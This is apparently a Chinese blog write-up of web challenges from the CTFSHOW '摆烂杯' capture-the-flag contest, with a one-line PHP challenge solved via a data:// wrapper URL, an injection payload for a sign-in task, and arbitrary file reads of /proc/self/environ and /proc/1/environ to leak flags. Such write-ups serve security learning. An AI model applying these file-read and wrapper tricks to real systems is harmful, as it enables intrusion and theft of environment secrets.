[CTF]CTFSHOW摆烂杯 WEB WP

一行代码

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-11-18 21:25:22
# @Last Modified by:   h1xa
# @Last Modified time: 2021-11-18 22:14:12
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
echo !(!(include "flag.php")||(!error_reporting(0))||stripos($_GET['filename'],'.')||($_GET['id']!=0)||(strlen($_GET['content'])<=7)||(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'||(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))?$flag:str_repeat(highlight_file(__FILE__), 0);

很多个条件都要满足,拆分来仔细看就行,并不难
http://e7df25cc-b994-4b15-b08e-a901738bfa9c.challenge.ctf.show/?filename=data://text/plain,welcome2ctfshow&id=0&content=Wasdasdasdasdad

黑客网站

后缀onion,多百度一下就知道了

web签到

1
1
1)+110+(1

登陆不了

验证码处存在任意文件读取,直接读/proc/self/environ就能看到flag

登陆不了_revenge

预期方法群里有发,非预期是赛后羽师傅说的,读/proc/1/environ就能读到…

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值